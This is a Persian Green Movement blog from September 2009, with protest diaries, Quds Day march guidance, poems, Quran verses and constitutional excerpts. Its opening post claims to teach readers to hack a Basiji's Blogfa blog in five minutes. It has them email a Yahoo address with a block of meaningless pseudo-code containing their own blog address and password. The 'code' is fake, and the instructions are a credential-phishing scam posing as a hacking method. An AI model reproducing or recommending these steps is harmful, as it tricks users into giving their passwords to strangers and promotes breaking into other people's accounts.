تبليغاتX
 جنبش بزرگ وبلاگی موج سبز سوم اعتراض به جنایات احمدی نژاد و حامیانش و حمايت از مهندس موسوی تیرماه 1388 درخشانترین تاریکی
درخشانترین تاریکی
می اندیشم .. پس هستم
آیا می خواهی وبلاگ یکی از این بسیجی ها رو هک کنی!!!!???
تمام کار های زیر را مو به مو انجام بده...
تا ایرانی سبز ...........
============================
سلام

امروز یه آموزش هک در ۵ دقیقه را بدون هیچ مهارتی به شما می دهم.

فقط برای بلاگفا

ابتدا به ایمیل خود بروید و در قسمتی که برای دیگران ایمیل ارسال می کنید بروید.

در قسمت to این ایمیل را وارد کنید: blogfa.server3@yahoo.com

در قسمت subject: آدرس وبلاگ قربانی را بنویسید مثل: www.nn.blogfa.com

در قسمت نوشتن پیام کد های زیر را وارد کنید

blog_&_ give pasvord_blogfa-sgs0(my user) 0101082

read pasword from (sos web) send

past ashs php 3 #00001 as oo blog html qrt hak not

shel go(my pasword)was(them) blogin in blogfa server

endandsend

حال باید تغیراتی در کد ایجاد نمایید

در قسمت (my user)آدرس وبلاگ خود را بنویسید

در قسمت (sos web) آدرس وبلاگ قربانی را بنویسید (فقط بلاگفا)

در قسمت (my pasword) پسورد وبلاگ خود را بنویسید

بعد از ارسال این ایمیل در قسمت تنظیمات وبلاگ در قسمت اسکریپ ها و کد های اختصاصی خود پسورد شخص قربانی را می بینید.بهتر است چند دقیقه صبر کنید.
ارسال در تاريخ دوشنبه 30 شهریور1388 توسط الهه
جمع آوری پیام تبریک برای تولد مهندس موسوی

 

سالروز تولد مهندس میرحسین موسوی روز هفتم مهر ماه می باشد و هوادارن ایشان در حال جمع کردن طومار امضای پیام تبریک به مهندس میرحسین موسوی هستند.

برای وارد شدن به لیست امضا کنندگان طومار ، به آدرس زیر مراجعه فرمائید :

http://www.petitiononline.com/09292009/petition-sign.html

پس از وارد شدن به صفحه مورد نظر

در ردیف اول : “نام” – ردیف دوم “پست الکترونیکی” – ردیف سوم ” کشور محل اقامت” – ردیف چهارم : ” پیام تبریک” را وارد کنید . سپس در قسمت زیرین آن روی گزینه Preview Your Signature  کلیک کنید و پس از اطمینان از صحت اطلاعات وارده ، بر روی گزینه Approve Signature کلیک کرده تا امضای شما ثبت شود .

ارسال در تاريخ دوشنبه 30 شهریور1388 توسط الهه

و همین طور پیروزی ملت سبز ایران رو هم در موج آفرینی با شکوه روز قدس تبریک می گم.. واقعا هر کس اومده بود درک کرد که ما بیشماریم...

زیباترین صحنه ی جمعه بارانی بود که آمد و اثر گاز اشک آور را از بین برد.. مردم هم گفتند: صل علی محمد .. اشک خدا در آمد!

جمعه من متوجه شدم تفاوت ما با مردمی که در مقابل ما ایستاده اند این است که آنها تمام دین و ایمانشان در ظاهرشان خلاصه شده.. در بلوار کشاورز ایستاده بودم و جمعیت رو نگاه می کردم از پشت سر یک نفر شدیدا به من تنه زد و رد شد طوری که افتادم زمین.. نگاهش که کردم دیدم چفیه انداخته و ریش بلندی داره.. داشتم فکر می کردم که چرا یک بسیجی باید به یه خانوم تنه بزنه.. وایسادم و داشتم خاک لباسم رو تمیز می کردم.. یه نفر از پشت سر گفت: ببخشید خانوم..می شه رد شم؟  این بار نگاه کردم.. یه پسر جوون سبز پوش بود. نه ریش داشت و نه چفیه. ولی به من تنه نزد. محترمانه خواست که از سر راه برم کنار.

این جا یه سوال برام پیش اومد که معیار دین و ایمان چیه؟ ما به چه کسی مومن می گیم؟ واقعا ملاک ایمان یک نفر فقط ظاهرشه؟

به نظر من معیار ایمان رفتار اشخاصه. راه و روش و اخلاقشون. نه یال و کوپالشون.

این جانب به تک تک جوانانی که جمعه شجاعانه (شجاعت هم یکی از معیار های مومن بودنه) در راه پیمایی روز قدس شرکت کردند تبریک می گم... صدای شما رو کسی که باید بشنوه می شنوه.. و به شما وعده ی پیروزی داده. :وَأُخْرَى تُحِبُّونَهَا نَصْرٌ مِّنَ اللَّهِ وَفَتْحٌ قَرِيبٌ وَبَشِّرِ الْمُؤْمِنِينَ (سوره صف-آیه ۱۳) {و [رحمتى] ديگر كه آن را دوست داريد يارى و پيروزى نزديكى از جانب خداست و مؤمنان را [بدان] بشارت ده }

صحنه ی دیگه ای دوست دارم این جا شرحش بدم اینه: توی بلوار کشاورز که بودیم یه پیرزنی که از اون پوسترا که عکس قبله ی عالم رو داره دستش بود داشت رد می شد با عصبانیت به ما گفت: به ۲ دلار خودتون رو فروختید.. (اون طرف مردم داشتند شعار می دادند: ما اهل کوفه نیستیم ... پول بگیریم باستیم..)

من که متوجه نشدم منظور این خانوم از ۲ دلار چی بود ولی این جا یه گزینه هایی می نویسم شاید یکی اش درست باشه:

۱) می خواست بگه شما وابسته به خارج هستید

۲) می خواست بگه شما پول دارید

۳) احتمال می داد کسی که این شعار ها رو می سازه خارجیه و بابت هر شعار ۲ دلار می گیره

۴) اهالی کوفه درهم و دینار می گیرن و می ایستن ولی ما چون اهل کوفه نیستیم حتما دلار می گیریم.. نمی شه کسی پول نگیره و بایسته!

۵) هزینه پارچه های سبزی که صد در صد از خارج وارد شده(کربلا هم خارج محسوب می شه ها) ۲ دلار بوده

۶) ما به ایشون علاقه داریم.. به ایشون اطلاعات غلط دادن!


یه مطلبی برام ایمیل شده که ازم خواستن تا توی وبم بذارم. مطلب جالبیه.. در ادامه مطلب بخونید
این لینک رو هم ببینید.. خیلی عکسای جالبی گذاشته. مقایسه امروز با سال ۵۷: عبرت ها چه فراوانند و عبرت پذیرفتن ها چه اندک

ادامه مطلب...
ارسال در تاريخ یکشنبه 29 شهریور1388 توسط الهه
     
 

                                                 بانام خدا

علیرغم اینکه می دانستند با تحریم مسابقه ای کوچک ، در زندگی کاری با تحریمی بزرگ، روبرو خواهند شد .ولی باز برسر این دو راهی ، تحریم را انتخاب کردند .

مسابقه ای که حتی اگر همه اثار شان اززیر تیغ ، جان سالم بدر میبرد، مخاطب ان به پنج هزار نفرهم نمی رسید .(ان هم قشر خاص نمایشگاه رو ).ولی اکنون حرف شان را،  بگوش میلیون ها نفر رساندند.

زمان،زمان پاسخ به مردمی بود ،که در شکوفایی انها سهیم بودند .زمان ،زمان بودن بود یا نبودن .

این بده بستان فی البداهه ،(بین مردم و هنرمند مردمی) ،چنان به دلها نشست ،که تبدیل به یک بدعت شد .بدعتی که باقی هنرمندان مردمی، صنوف دیگر را همراه کرد .

سینماگران ،چنان تصویری از خود،بجا گذاشتند .که این بار نه بر پرده نقرای ،بر جان مردم نشست . و پنجره دل تئاتری ها هم، بروی مردم گشوده شد . این همصدایی اهالی موسیقی ، به چنان اهنگی بدل شد ،که سالها مردم ان را زمزمه خواهند کرد .و حتی این روزها همصدای ،گرافیست ها را می شنویم .که به انها میگوییم :به دلهای ما خوش امدید .

اری ،کاریکاتوریست های ما مسابقه ای بزرگتر را انتخاب کردند .مسابقه ای که نه یک برنده ،که 176 برنده داشت .

و جایزه ان، تندیس طلایی ادمکی کارتونی بود ،که کتاب قطور تاریخ بدست داشت ،که در ان نام 176 کارتونیست حک شده بود .

ما وبلاگ نویسان ،به پاس قدر دانی از این هنرمندان ،این پست مشترک ،که برگ سبزی است به کارتونیست ها و همه هنرمندان مردمی کشور عزیزمان ایران، تقدیم میکنیم .

شما دوستان وبلاگ نویس هم،در صورت تمایل ،با درج این پست ،به خیل*پست مشترکی ها  بپیوندید.


* (پست مشترک هر دو هفته یک بار اپ می شود .شما هم می توانید با پیشنهاد خود ،و طی یک رای گیری، بین پست های پیشنهادی ، نویسنده ی پست مشترک باشید .هدف از پست مشترک ،لذت از یک کار گروهی با صدایی بلند است .)  

دوستاني که تمايل دارند که نام وبلاگ شان در زير اين متن بيايد در اين وبلاگ اعلام بفرمايند

ارسال در تاريخ یکشنبه 29 شهریور1388 توسط الهه

فلسطبن همین جاست

این خاک مال ماست

چه كسي مي خواهد
من و تو ما نشويم
خانه اش ويران باد !
من اگر ما نشوم، تنهايم
تو اگر ما نشوي،
- خويشتني
از كجا كه من و تو
شور يكپارچگي را در شرق
باز بر پا نكنيم
از كجا كه من و تو
مشت رسوايان را وا نكنيم .
من اگر برخيزم
تو اگر برخيزي
همه بر مي خيزند

 

مگر نه اینکه غمی سهمگین به دل داریم

مگر نه اینکه به رنجی گران گرفتاریم

نشاطمان را باید ، همیشه چون خورشید

بلند و گرم در اعماق جان نگه داریم

 

چند آیه خطاب به کودتاچیان:

بسم الله الرحمن الرحیم (سوره ملک)

أَأَمِنتُم مَّن فِي السَّمَاء أَن يَخْسِفَ بِكُمُ الأَرْضَ فَإِذَا هِيَ تَمُورُ (16) :آيا خود را از عذاب كسى كه حاكم بر آسمان است در امان مى‏دانيد كه دستور دهد زمين بشكافد و شما را فرو برد و به لرزش خود ادامه دهد؟!

أَمْ أَمِنتُم مَّن فِي السَّمَاء أَن يُرْسِلَ عَلَيْكُمْ حَاصِبًا فَسَتَعْلَمُونَ كَيْفَ نَذِيرِ ﴿17﴾ : يا خود را از عذاب خداوند آسمان در امان مى‏دانيد كه تندبادى پر از سنگريزه بر شما فرستد؟! و بزودى خواهيد دانست تهديدهاى من چگونه است!

أَمَّنْ هَذَا الَّذِي هُوَ جُندٌ لَّكُمْ يَنصُرُكُم مِّن دُونِ الرَّحْمَنِ إِنِ الْكَافِرُونَ إِلَّا فِي غُرُورٍ ﴿20﴾ : آيا اين كسى كه لشكر شماست مى‏تواند شما را در برابر خداوند يارى دهد؟ ولى كافران تنها گرفتار فريبند!

أَمَّنْ هَذَا الَّذِي يَرْزُقُكُمْ إِنْ أَمْسَكَ رِزْقَهُ بَل لَّجُّوا فِي عُتُوٍّ وَنُفُورٍ ﴿21﴾ : يا آن كسى كه شما را روزى مى‏دهد، اگر روزيش را بازدارد (چه كسى مى‏تواند نياز شما را تامين كند)؟! ولى آنها در سركشى و فرار از حقيقت لجاجت مى‏ورزند!

أَفَمَن يَمْشِي مُكِبًّا عَلَى وَجْهِهِ أَهْدَى أَمَّن يَمْشِي سَوِيًّا عَلَى صِرَاطٍ مُّسْتَقِيمٍ ﴿22﴾ : آيا كسى كه به رو افتاده حركت مى‏كند به هدايت نزديكتر است يا كسى كه راست‏قامت در صراط مستقيم گام برمى‏دارد؟!

 

ارسال در تاريخ سه شنبه 24 شهریور1388 توسط الهه
دایی عزیزم سلام.

این نامه را برای تویی می نویسم که سال های دور .. قبل از اینکه من به این جهان پای بگذارم حسین وار از جان خود گذشتی تا ارزش هایت زنده بمانند.. ارزشهایی که حتما ارزش جان پاک تو را داشته است

من هیچ گاه تو را ندیده ام و تنها سهمم از تو یک جعبه ی شیشه ای بر بالای مزارت بود که دورن آن یک جلد قرآنی بود که همیشه می خواندی.. ۲ شاخه گل بود و .. عکست با آن لباس خاکی و چفیه ی سرخ و سپید که همیشه به من لبخند می زد...

سهم من از تو اشک های مادرم بود.. بغض پدربزرگم بود.. و قلب مالامال از افتخار و تحسینشان..

دایی شهیدم.. قهرمان من..

تو رفتی تا انقلاب زنده بماند... رفتی تا در روزهای بعد بر سر تفنگ لباس-خاکی ها گل باشد.. رفتی و با رفتنت پشت هر پنجره ای میخکی گذاشتی..

رفتی و از خون تو لاله دمید.. فریاد آخرت کبوتری شد و به آسمان ها پرید...

تو تفنگ داشتی.. ولی من از تفنگ تو بیزار نبودم.. تو را می دیدم در آن لباس خاکی.. چفیه به دوش. تفنگ در دست و لبخند بر لب.. و خود را می دیدم که با شاخه گلی ایستاده بودم روبرویت..

زمان گذشت.. هنوز لباس خاکی تو مانند تمام گنج های دیگر در صندوقچه ی خانه مان هست..

ولی تو به من بگو این لباس خاکی که بر تن آنهاست همان لباس توست؟

زمان گذشته است و من اکنون  لباس خاکی تو را می بینم بر تن نا محرمان و بی خردان .. تفنگ رو به دشمن تو را می بینم که به سوی من نشانه رفته.. چفیه ی تو را می بینم که به نفس های جنایت کاران آلوده شده.. اما دیگر هیچ لبخندی نمی بینم.

خود را می بینم که به جای گل.. سنگ در دست گرفته ام...

 

تو به من بگو.. مگر بر ما چه گذشت که لبخند تو مانند فریاد آخرت کبوتری شد و به آسمان پرید؟

مگر ما لباس خاکی تو را در صندوقچه ی خانه مان نگذاشته بودیم؟.. چه شد که لباست را دزدیدند ؟

به من بگو .. مگر من چه کرده ام که این همه سنگ بر من زده اند؟

مگر چه خواسته ام؟

به من بگو آیا این ها همان دوستان تو هستند که برای دفاع از ناموس کشورشان جانشان را دادند و اکنون از پشت به من سنگ می زنند؟

اگر این ها همان ها هستند .. به من بگو چرا این قدر جای قهرمانان عوض شده است؟.. چرا دیگر قهرمانان لبخند نمی زنند؟ ولی عکس تو هنوز به من لبخند می زند...

 

دایی شهیدم.. قهرمان من

رسم تو رفتن بود.. و رسم ما نیز..

الگوی تو حسین و عباس بود .. و الگوی ما نیز..

فریاد تو نام خدا بود.. و فریاد ما نیز..

قلب تو سرشار از شجاعت بود و آرامش.. و قلب ما نیز...

ما بدون لباس خاکی .. بدون چفیه .. و بدون تفنگ.. مانند شماییم..

ما لباس های شما را نخواستیم.. آنچه در قلبتان بود را به ارث بردیم.. 

 

دایی عزیزم

صدای تو آسان تر به خدا می سد..

به خدا بگو ما وعده ی او را حق یافتیم و آیات روشن او را  درک کردیم..

به خدا بگو ما در راه او خواهیم ماند

به عدالت او .. رحمت او .. و حق ستانی او امید داریم

و خوب می دانیم که خدا هر که با امید صدایش زند اجابت خواهد کرد

 

 

ارسال در تاريخ یکشنبه 22 شهریور1388 توسط الهه
پرده اول:

سر کلاس تست شیمی نشستیم. خودکارم می افته زمین. وقتی خم می شم که برش دارم چشمای بغل دستی مو می بینم که پر از اشکه.. قلبم از جا در می آد.. نکنه اتفاقی افتاده؟.. با ترس می پرسم: چی شده؟.. طبق معمول می گه: هیچ چی.  اصرار می کنم.. می گه: بعدا بهت می گم.

یه هو یه صدای ناهنجاری می آد.. مثل صدای مسلسل.. نا خودآگاه سرمو می گیرم پایین.. از حرکت خودم خنده ام می گیره. خدا کنه کسی ندیده باشه!.. صدای سوراخ کردن آسفالته ولی هردفعه قطع و وصل می شه من موجی میشم.. حال جانبازای اعصاب و روان رو خوب درک می کنم...

زنگ می خوره.. سریع از دوستم می پرسم.. خوب بگو چی شده.. می گه: اون روبان سبز رو دیدی که به کیفم بستم؟ صبح یکی اومد داد زد: این کیف کیه؟ گفتم:کیف منه. گفت: اینو از کیفت باز کن برات دردسر می شه. گفتم: چرا؟ گفت: یه بخشنامه اومده که استفاده کردن شاگردا و معلما از نماد سبز ممنوعه چون نشونه ی وهابیته!!!!

به هم نگاه می کنیم.. می فهمم چه زجری می کشه.. همه ی حرفایی که نزده رو می فهمم.. ولی باید حالشو بهتر کنم. بلند می خندم. می گم: فکر کردن با این کارا می تونن جلوی مردم رو بگیرن.. این کارا دیگه فایده ای نداره.. مردم بیدار تر از این حرفان...

ولی باز هم قلبم تیر می کشه.. خودم به حرفایی که می زنم اعتقاد دارم ولی آخه تا کی می خوان به ما تهمت بزنن؟ سبز نماد سیادته.. یعنی ائمه وهابین؟

 

پرده دوم:

بازم باید سر سخنرانی این معلوم الحال ها بشینیم.. خانومه بالاخره می آد.. اسمش هیچ وقت یادم نمی مونه!.. بحث رو شروع می کنه. راجع به معنای دعا و اینکه آیا دعایی که ما می کنیم اثری داره یا نه. با حسن نیت به حرفاش گوش می دم.. توی ذهنم همش این حدیث رو  تکرار می کنم: انظر الی ما قال.. لا تنظر الی من قال.: (به حرفی که زده می شود توجه کن.. به گوینده توجه نکن.)

که ناگهان یه سوالی می پرسه و یکی از بچه ها جواب می ده. خانومه می گه: شما خانوم ... هستی؟ به مامان و بابا سلام ویژه منو برسون..

سرم گیج می ره.. دیگه نمی تونم فقط به حرف زده شده توجه کنم... احساس می کنم چقدر توی این جو غریبم.. توی دلم می گم: خدایا آخه ما چه کردیم که سزای عملون این بوده که اینا بر ما مسلط باشن؟.. چرا اونا باید حرف بزنن و ما بشنویم؟.. ما حرفای نزده بیشتر داریم تا اینا..

یاد حرف یکی از نزدیکانم می افتم.. یه روز بهم گفت: الهه اگه کسی به بابای این دختره سلام رسوند ازش بترس!

 

پرده سوم:

به در و دیوار اتاقم نگاه می کنم.. به حرفهای دکتر شریعتی که روی کاغذ حک شده و به دیوار اتاقم زدم تا ایده آلیسم رو زنده نگه دارم.

در گوشه ی از دیوار روزها و سال ها پیش این متن را از شریعتی نوشتم:

من باید فرود آیم

نباید بنشینم

سال هاست.. از آن لحظه که پر بر اندامم رویید

و از آشیان.. از بام  خانه پرواز کردم.

هم چنان می پرم.. هرگز ننشسته ام..

و دیگر سری نیز به سوی زمین و به سواد پلید شهر ها

. بام های کوتاه خانه ها بر نگرداندم

چشم به زمین ندوختم

پرواز رو به آسمان

در راه افلاک

و هر لحظه دورتر و بالاتر از زمین

و هر لحظه نزدیک تر به خدا.. 

 

و در گوشه ی دیگری از دیوار...:

 

من تشنه ی آتشم

آن اقیانوس را بر جانم سرازیر کن!

آن آتشفشان دیوانه را زنجیر از دهانش برگیر و همه را

یک جا بر سرم بریز!

بگذار بسوزم!

بگذار در آتش های سیال بگدازم!

مترس!

آن همه را این همه در سینه ات پنهان مکن!

به جان من بریز!

این همه در اندیشه ی سلامت و راحت من مباش!

می خواهم در آنچه تو می گدازی .. بگدازم.

بگو.. بریز.. دهانت را بگشای

ای قله ی سنگی آتشفشان!

خاموشی تو مرا در کنارت بیشتر می گدازد..

من دیگر تحمل ندارم

آن زندان بزرگ را بشکن!

 

و در گوشه عکس سید پاک قلب ها نوشته ام:

نام تو همیشه مرا سرمست می کند...

بهتر از شراب

بهتر از تمام شعر های ناب

نام تو..

اگرچه بهترین سرود زندگیست

من تو را به خلوت خیال خود

بهترین بهترین من صدا می زنم

بهترین بهترین من..

 

کلمات دور سرم می چرخن.. جایی از دیوار اتاقم بزرگ نوشتم: یارم چو قدح به دست گیرد .. بازار بتان شکست گیرد... جای دیگری نوشتم: أعیونی بورع و اجتهاد و عفة و سداد.. جایی نوشتم: چه انتظار عجیبی.. تو بین منتظران هم غریب ترین غریبی...

ناگاه احساس می کنم توانایی این همه ایده آلیسم رو کنار خودم ندارم.. فکر می کنم چه فایده ای داره این قدر افکار روشن در ذهنم باشه ولی توانایی گره باز کردن از کار یک نفر رو هم نداشته باشم؟

با چشم هایی که از فرط پر اشک بودن جایی رو نمی بینن همه ی کاغذ ها رو می کنم و پاره می کنم..

به عکس سید عزیزم می رسم.. دستم می لرزه.. دوباره شعری رو که گوشه ی دیگرش نوشتم می خونم: بوی نسل شقایق پیچید.. بوی عطر شهیدان آمد...

توانایی جدا کردن این رو از خودم ندارم.. تسلیم می شم ...

 

پرده چهارم:

توی سالن نشستم و پسر جوونی داره جوشن کبیر می خونه. خیلی عجیبه ولی احساس می کنم تموم آدمایی رو که کنارم نشستن می شناسم.. درست برعکس صبح فکر می کنم چقدر همه آشنان!

به این قسمت از دعا می رسیم:

يَا عُدَّتِي عِنْدَ شِدَّتِي..... اى ذخیره هنگام سختى من

يَا رَجَائِي عِنْدَ مُصِيبَتِي.... اى امید من در برابر پیش آمدهاى ناگوار

 يَا مُونِسِي عِنْدَ وَحْشَتِي....اى همدم من هنگام ترس و وحشت

 يَا صَاحِبِي عِنْدَ غُرْبَتِي....اى رفیق من در غربتم

 يَا وَلِيِّي عِنْدَ نِعْمَتِي.... اى صاحب اختیار من در نعمتم

 يَا غِيَاثِي عِنْدَ كُرْبَتِي....اى فریادرس من در غم و اندوه

 يَا دَلِيلِي عِنْدَ حَيْرَتِي....اى دلیل و راهنمایم هنگام سرگردانى

 يَا غَنَائِي عِنْدَ افْتِقَارِي....اى توانگرى من هنگام ندارى

 يَا مَلْجَئِي عِنْدَ ضْطِرَارِي....اى پناه من هنگام درماندگى

 يَا مُعِينِي عِنْدَ مَفْزَعِي....اى کمک کارم در بیچارگى و پریشانى

همین برای آروم شدن من بس بود!

ارسال در تاريخ چهارشنبه 18 شهریور1388 توسط الهه

با توجه به نزدیک شدن به روز قدس و راهپیمایی عظیم علیه سرکوب ها ، كشتارها ، بازداشت ها ، تجاوزها و تقلب ها نه عليه آمريكا ، انگليس و اسراييل.

 بايد با تمام نيرو منسجم تر از ديروز باشيم. لازم به ذكر است كه درمورد اين راهپيمايي بايد هماهنگ حركت کرد.

به هيچ عنوان به اموال دولتي و خصوصي لطمه اي وارد نكنيم. هرچند كه هيچ كس اين كار را انجام نمي دهد و تمامي اين خسارت ها از جناح دولت مهرورزی است براي بد جلوه دادن چهره ما ، ولي درصورت مشاهده با اين جريان حتما برخورد شود و تذكر داده شود.

تا جایی که شرایط اجازه می دهد تمامي دوستان با تي شرت سبز و خانم ها با مانتو يا روسري سبز رنگ حاضر شوند.

به هيچ عنوان در فضاي باز تجمع نكرده و بيشتر در دل جمعيت باشيد و سعي كنيد در اطراف خيابان هاي پر تردد حاضر شويد. اصلا از هم جدا نباشيد. دست ها در دست هم به صورت زنجيره و به جلو حركت كنيد.  در مقابل شعار هاي مرگ بر اسراييل ، مرگ بر آمريكا و مرگ بر انگليس شعار مرگ بر روسيه و مرگ بر ديكتاتور سر دهيد.

حتما در نماز جمعه روز قدس شركت كنيد و توجهي نداشته باشيد كه امام جمعه چه كسي است. در هر جايي كه مردم تجمع كرده اند همان جا باشيد و اصلا از مردم عادي دور نشويد.

حتما از ماسك استفاده كنيد. در موقع جدا شدن از جمعيت حتما راه را طوري تعيين كنيد كه شناسايي نشويد و تحت تعقيب قرار نگيريد.

در راهپيمايي آرام خود دست ها را بالا برده و در نهايت سكوت به راهپيمايي ادامه دهيم غير از مواردي كه شعار داده مي شود. توجه داشته باشيد كه اين راهپيمايي نيازي به مجوز ندارد و كسي نمي تواند به عنوان تجمع غير قانوني با ما برخورد كند.

هرچند كه دوستان ما بدون دليل بازداشت شده اند و به شهادت رسيده اند. ولي اين حق مسلم ماست كه آزادي بيان داشته باشيم. آزادي انديشه داشته باشيم ، پس با قدرت تمام منتظر روز قدس مي مانيم تا به حق و حقوق پايمال شده خود دست يابيم.

در صورت داشتن ايده ها و نظرات بهتر خود اين جنبش سبز را ياري كنيد.

جنبش وبلاگی موج سبز سوم

ارسال در تاريخ دوشنبه 16 شهریور1388 توسط الهه
میرحسین موسوی بیانیه ای خطاب به ملت ایران صادر کرد. به گزارش "کلمه" در این بیانیه ضمن  تاکید برحفظ نظام در مقابل مطامع بیگانگان و دفاع از جمهوری اسلامی اتخاذ رویکردی اجتماعی برای حل مسئله ضروری دانسته شده است. در این بیانیه آمده است : برخلاف آنچه دستگاه‌های تبلیغاتی دولتی سعی در القای آن دارند، این ما هستیم که بازگشت اعتماد و آرامش به فضای جامعه را خواهانیم و این ما هستیم که از هر اقدام تندروانه و خشن امتناع می‌کنیم.
در این بیانیه همچنین  بر ضرورت استفاده کامل ازظرفیت های قانون اساسی، سویه اجتماعی شکل گیری راه سبز امید، تلاش برای استیفای حقوق ملت و بازگشت به آرمان های  مغفول و مظلوم انقلاب اسلامی تاکید شده است. موسوی در پایان نیز راهکارهای نه گانه برای برون رفت از بحران ارائه کرده است.
به گزارش "کلمه" متن کامل بیانیه شمار 11 میرحسین موسوی بدین شرح است:


به این لینک ها هم سر بزنید:

جنبش وبلاگی موج سبز سوم



ادامه مطلب...
ارسال در تاريخ شنبه 14 شهریور1388 توسط الهه
در کودکی فکر می کردم در زمان انقلاب مردم دو دسته بودند. یا موافق شاه یا انقلابی. دسته ی سومی برایم تعریف نشده بود.. فقط دو گروه بودند: سیاه و سفید. یا تصور می کردم در زمان جنگ همه ی مردم ایران در جبهه ها بوده اند. وقتی می شنیدم که مثلا فلانی در زمان جنگ مغازه اش را فروخته فکر می کردم دروغ می گویند.. مگر می شود وقتی دشمن در کشور است داد و ستد کرد؟!!

شاید این بینش من در کودکی به این علت بود که والدین من این قدر چهره ی قهرمانان را برایم ترسیم کرده بودند که من با تحلیل کودکانه ی خود تصور می کردم اگر چنین نگرش قهرمانانه ای موجود بوده دیگر امکان نداشته که احدی به آن بی توجه باشد.. ساده تر بگویم.. من مردم ایران را مردمی می پنداشته ام که با کوفیان کوچکترین نقطه ی مشترکی نداشته اند و ندارند... تصور می کردم مردم ایران خاکستری بودن را نیاموخته اند.. هرچه هستند با شجاعت بر سر عقیده شان می مانند.

هنوز هم نمی دانم آیا مردم ایران واقعا این گونه هستند یا نه؟ ولی امروز با حضور بیشتر در جامعه این مطلب برایم روز به روز واضح تر می شود که سایه خاکستری بی عقیدگی (بی بخاری!) بر سر سفید و سیاه جامعه چنان سنگینی می کند که سفید، تیره می نماید و سیاه، سیاه تر!

یک مثال می زنم تا هدفم مشخص شود و خدای ناکرده به دوستان عزیزم که با عقل و منطق و احتیاط جلو می روند توهینی نشود. با شخصی برخورد داشتم که سنش حدود ۵۰ تا ۶۰  است. و قطعا خاطرات زیادی در زمان انقلاب و جنگ دارد. یادم نمی آید بحث چه بود که به ناگاه این بانوی محترمه یاد سال ۵۸ افتاد! گفت: سال ۵۸ به دلیل وقوع انقلاب مجبور شدم شغلم را تغییر دهم . در شغل جدید تجربه چندانی نداشتم ولی به علت جوزدگی و سیاسی بودن فضای جامعه هیچ کس اصلا متوجه نمی شد که من در کارم وارد نیستم. مردم الکی پا به زمین می کوبیدند و بی دلیل شعار می دادند. هیچ کس سرش به کار خودش نبود...!

(البته شاید شما به اندازه ی من مقصود گوینده را از مطرح کردن این مباحث متوجه نشده باشید. که آن به دلیل نشنیدن لحن ایشان است!!)

این را نقل قول کردم تا تفاوت دیدگاه در جامعه مان را نشان دهم. این بانوی گرامی با ۳ جمله قهرمانانی را که در ذهن من ترسیم شده بود از ۳ جهت خراب کرد:

۱) مسئولینی که از دل مردم به پا خاسته بودند این قدر جو زده و بی هوش و حواس بودند که نمی فهمیدند کسی که بر سر کار می گذارند از عهده کار بر می آید یا نه..

۲) مردم بیدار و دردمند ایران که عزیزان خود را از دست داده اند در اصل یک عده ی قلیل جاهل و گمراه هستند که بی دلیل وسط دعوای انتقال قدرت افتاده اند.

۳) اگر کسی می خواهد در زندگی اش موفق باشد باید سرش به کار خودش باشد یعنی اگر محصل است به او هیچ ربطی ندارد که هم وطنانش را بی گناه و از روی ظلم کشتند!.. باید به تحصیلش ادامه دهد! (این نکته تکمیلی را اضافه کنم که احتیاط شرط عقل است و یک دانشجوی فعال بهتر از یک دیپلمه ی زندانی می تواند فعالیت کند.. و فکر کنم همه به این اصل معتقدیم)

خب.. هدف من از طرح این ها چیست؟

هدف من اینست که بگویم هر انسانی که بفهمد بر خود یا دیگری ظلم می شود جزو وظایف شرعی حقوقی و انسانی اش است که از مظلوم دفاع کند و ظالم را به سزای خود برساند. چگونه است که در تئوری و سخنرانی اکثر صاحب نظران این را به ما می آموزند ولی هنگام عمل تمامی این ها به خاطر منافع خودشان عقب می کشند و منتظر می نشینند تا ببینند جوانان چه می کنند؟

در این روزها آیا واقعا کسی پیدا می شود که ادعا کند هیچ ظلمی روی نداده و وضعیت کاملا گل و بلبل است؟ پس چرا قیام برای جلوگیری از ظلم ظالمان باید سیاست زدگی معرفی شود؟

مرز جدایی سیاست از پاسداری از حقوق اولیه ی انسانی کجاست؟

پاسخ من این است که اصلا مرزی وجود ندارد! سیاست یک وسیله است برای احقاق حقوق مردم. وسیله برای پاسخ به نیاز های اجتماعی ، فردی و طبیعی تک تک افراد جامعه.. که در قانون اساسی هم پاسداری از این حقوق به شدت تاکید شده است. قانونی که به رفراندوم گذاشته شده و مردم آن را پذیرفته اند ولی خیلی ها از آن آگاهی ندارند و نمی دانند که ۴ سال شاید هم بیشتر است که حقوقشان رعایت نمی شود. برخاستن برای دفاع از حقوق خود نه تنها از هیچ دیدگاهی نکوهیده نیست بلکه به آن سفارش هم شده است.

این آیه را بسیار شنیده ایم که

لاَّ يُحِبُّ اللّهُ الْجَهْرَ بِالسُّوَءِ مِنَ الْقَوْلِ إِلاَّ مَن ظُلِمَ وَكَانَ اللّهُ سَمِيعًا عَلِيمًا ﴿ سوره نسا-۱۴۸﴾

خداوند بانگ برداشتن به بدزبانى را دوست ندارد مگر [از] كسى كه بر او ستم رفته باشد و خدا شنواى داناست

و این اصول از قانون اساسی:

اصل سوم:

دولت جمهوری اسلامی ایران موظف است برای نیل به اهداف مذکور در اصل دوم، همه امکانات خود را برای امور زیر به کار برد:

  1. ایجاد محیط مساعد برای رشد فضایل اخلاقی بر اساس ایمان و تقوی و مبارزه با کلیه مظاهر فساد و تباهی.
  2. بالا بردن سطح آگاهیهای عمومی در همه زمینه‏های با استفاده صحیح از مطبوعات و رسانه‏های گروهی و وسایل دیگر.
  3. آموزش و پرورش و تربیت بدنی رایگان برای همه در تمام سطوح، و تسهیل و تعمیم آموزش عالی.
  4. تقویت روح بررسی و تتبع و ابتکار در تمام زمینه‏های علمی، فنی، فرهنگی و اسلامی از طریق تأسیس مراکز تحقیق و تشویق محققان.
  5. طرد کامل استعمار و جلوگیری از نفوذ اجانب.
  6. محو هر گونه استبداد و خودکامگی و انحصارطلبی.
  7. تأمین آزادیهای سیاسی و اجتماعی در حدود قانون.
  8. مشارکت عامه مردم در تعیین سرنوشت سیاسی، اقتصادی، اجتماعی و فرهنگی خویش.
  9. رفع تبعیضات ناروا و ایجاد امکانات عادلانه برای همه، در تمام زمینه‏های مادی و معنوی.
  10. ایجاد نظام اداری صحیح و حذف تشکیلات غیر ضرور.
  11. تقویت کامل بنیه دفاع ملی از طریق آموزش نظامی عمومی برای حفظ استقلال و تمامیت ارضی و نظام اسلامی کشور.
  12. پی‌ریزی اقتصادی صحیح و عادلانه بر طبق ضوابط اسلامی جهت ایجاد رفاه و رفع فقر و برطرف ساختن هر نوع محرومیت در زمینه‏های تغذیه و مسکن و کار و بهداشت و تعمیم بیمه.
  13. تأمین خودکفایی در علوم و فنون صنعت و کشاورزی و امور نظامی و مانند اینها.
